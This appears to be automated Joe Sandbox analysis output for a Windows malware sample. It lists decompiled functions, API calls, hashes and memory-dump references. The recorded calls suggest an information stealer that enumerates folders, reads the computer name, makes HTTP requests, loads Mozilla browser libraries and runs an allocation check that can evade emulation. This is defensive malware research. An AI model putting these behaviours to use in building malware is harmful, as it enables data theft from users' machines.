Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 2b879df4da07ec9cc5bbb84c7b004e4c989fcd3c972fe0c2855985ade6bf1153
Instruction ID: 15cd268c48a475c492e4a33e5c2a793261e6ff643f998851ee801440648a35cb
Opcode Fuzzy Hash: 2b879df4da07ec9cc5bbb84c7b004e4c989fcd3c972fe0c2855985ade6bf1153
Instruction Fuzzy Hash: B0112170950008F7DB18FF64DD9AAED7378AF50340F808165F81A46592EF3C6B15C792

Function 00784F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 00784F7A
lstrcat.KERNEL32(?,00791070), ref: 00784F97
lstrcat.KERNEL32(?,014B8800), ref: 00784FAB
lstrcat.KERNEL32(?,00791074), ref: 00784FBD

Part of subcall function 00784910: wsprintfA.USER32 ref: 0078492C
Part of subcall function 00784910: FindFirstFileA.KERNEL32(?,?), ref: 00784943

Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FDC), ref: 00784971
Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FE0), ref: 00784987
Part of subcall function 00784910: FindNextFileA.KERNEL32(000000FF,?), ref: 00784B7D
Part of subcall function 00784910: FindClose.KERNEL32(000000FF), ref: 00784B92

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 8c7a9739aa16e9840c9d39b9ed8ba159ada0eb541aff22250787389b00164786
Instruction ID: 4dd55b4e534c70ef128fbac52e36736a29b090304bbb9faf898433ded39618cb
Opcode Fuzzy Hash: 8c7a9739aa16e9840c9d39b9ed8ba159ada0eb541aff22250787389b00164786
Instruction Fuzzy Hash: 6921DDB6954204ABCB54F770ED4AEED337CA754300F404694B64952181EEBDABC88BA3

Function 00780740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014B8920), ref: 0078079A
StrCmpCA.SHLWAPI(00000000,014B8930), ref: 00780866
StrCmpCA.SHLWAPI(00000000,014B87F0), ref: 0078099D

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ca850392c3885f22e6857c2c6161177e746c8850718f695cdffb478f2f2ab2c7
Instruction ID: 0cbb315e38f4a015bcc71d59229b2fe3260139721170db3f11b95cb704a1d687
Opcode Fuzzy Hash: ca850392c3885f22e6857c2c6161177e746c8850718f695cdffb478f2f2ab2c7
Instruction Fuzzy Hash: EA916875A10208EFDF28FF64D995AED77B5FF94300F508519E8099F241DB38AA09CB92

Function 00780765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014B8920), ref: 0078079A
StrCmpCA.SHLWAPI(00000000,014B8930), ref: 00780866
StrCmpCA.SHLWAPI(00000000,014B87F0), ref: 0078099D

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: b484186f94f596978472409f48719128cf8862aac8209852edd0b6b577805d4f
Instruction ID: 1dbfeb3d49534b0c21818bbb609459a8661451f8859464c833e6b34600cbf2b9
Opcode Fuzzy Hash: b484186f94f596978472409f48719128cf8862aac8209852edd0b6b577805d4f
Instruction Fuzzy Hash: 50818675A10208EFDF18FF64D995AEDB7B5FF94300F508119E8099B241DB34AA06CB92

Function 00C3812F Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00C381EB
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00C3827F

Strings

V, xrefs: 00C3825C

Memory Dump Source

Source File: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID: V
API String ID: 2087232378-1342839628
Opcode ID: ec067daaee4268540b3e65bfc95d4db7b20ee14ae99179379f74e8984766cff8
Instruction ID: f81dbc481e4c5e86ec09d0a1fb9e7f3341a7b8cba3aa9b7ae29ad0200d2668bd
Opcode Fuzzy Hash: ec067daaee4268540b3e65bfc95d4db7b20ee14ae99179379f74e8984766cff8
Instruction Fuzzy Hash: EB41A074214309DFEB158F28DC45BAF37A4EB08314F144028FD06DBB90DB7A9D58CA19

Function 007878E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00787910
RtlAllocateHeap.NTDLL(00000000), ref: 00787917
GetComputerNameA.KERNEL32(?,00000104), ref: 0078792F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 19d5f9ff2aeff3733a07d2eac2a21f58080fdee84eb3cc48b44f2393aec9dc7a
Instruction ID: 6de3c31e37389cea4335a144a04d114325fb1cc662ac37c0905d63ef4fc0cffc
Opcode Fuzzy Hash: 19d5f9ff2aeff3733a07d2eac2a21f58080fdee84eb3cc48b44f2393aec9dc7a
Instruction Fuzzy Hash: 3A0186B1958204EFC714DF95DD45BAABBB8F704B21F104219F545E3680D3785940CBA1

Function 6C613060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C613095

Part of subcall function 6C6135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
Part of subcall function 6C6135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
Part of subcall function 6C6135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
Part of subcall function 6C6135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
Part of subcall function 6C6135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
Part of subcall function 6C6135A0: __aulldiv.LIBCMT ref: 6C6136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61309F

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6130BE

Part of subcall function 6C6130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C613127
Part of subcall function 6C6130F0: __aulldiv.LIBCMT ref: 6C613140

Part of subcall function 6C64AB2A: __onexit.LIBCMT ref: 6C64AB30

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction ID: 370e249e8b59a976987b2e382ec21702f69d23d636ddd687ad6ba78ba12ea023
Opcode Fuzzy Hash: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction Fuzzy Hash: E0F0F932D2074597CB10DF3588D11E67374AF6B115F515729F84553521FB2061E883DF

Function 00789470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00789484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007894A5
CloseHandle.KERNEL32(00000000), ref: 007894AF

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 86a0a554beb72a1eda8128286f7bc45a4d2e7011aad00bf6b789fd98763c64d6
Instruction ID: 0ac27e5cddd900ea70cde116b98b476b6d33b44d668382d444c1d86b79b81255
Opcode Fuzzy Hash: 86a0a554beb72a1eda8128286f7bc45a4d2e7011aad00bf6b789fd98763c64d6
Instruction Fuzzy Hash: B3F05E7494420CFBDB04EFA4DD4AFEE7778EB08310F004598BB0997290D6B4AE85DB91

Function 00771110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0077112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00771132
ExitProcess.KERNEL32 ref: 00771143

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
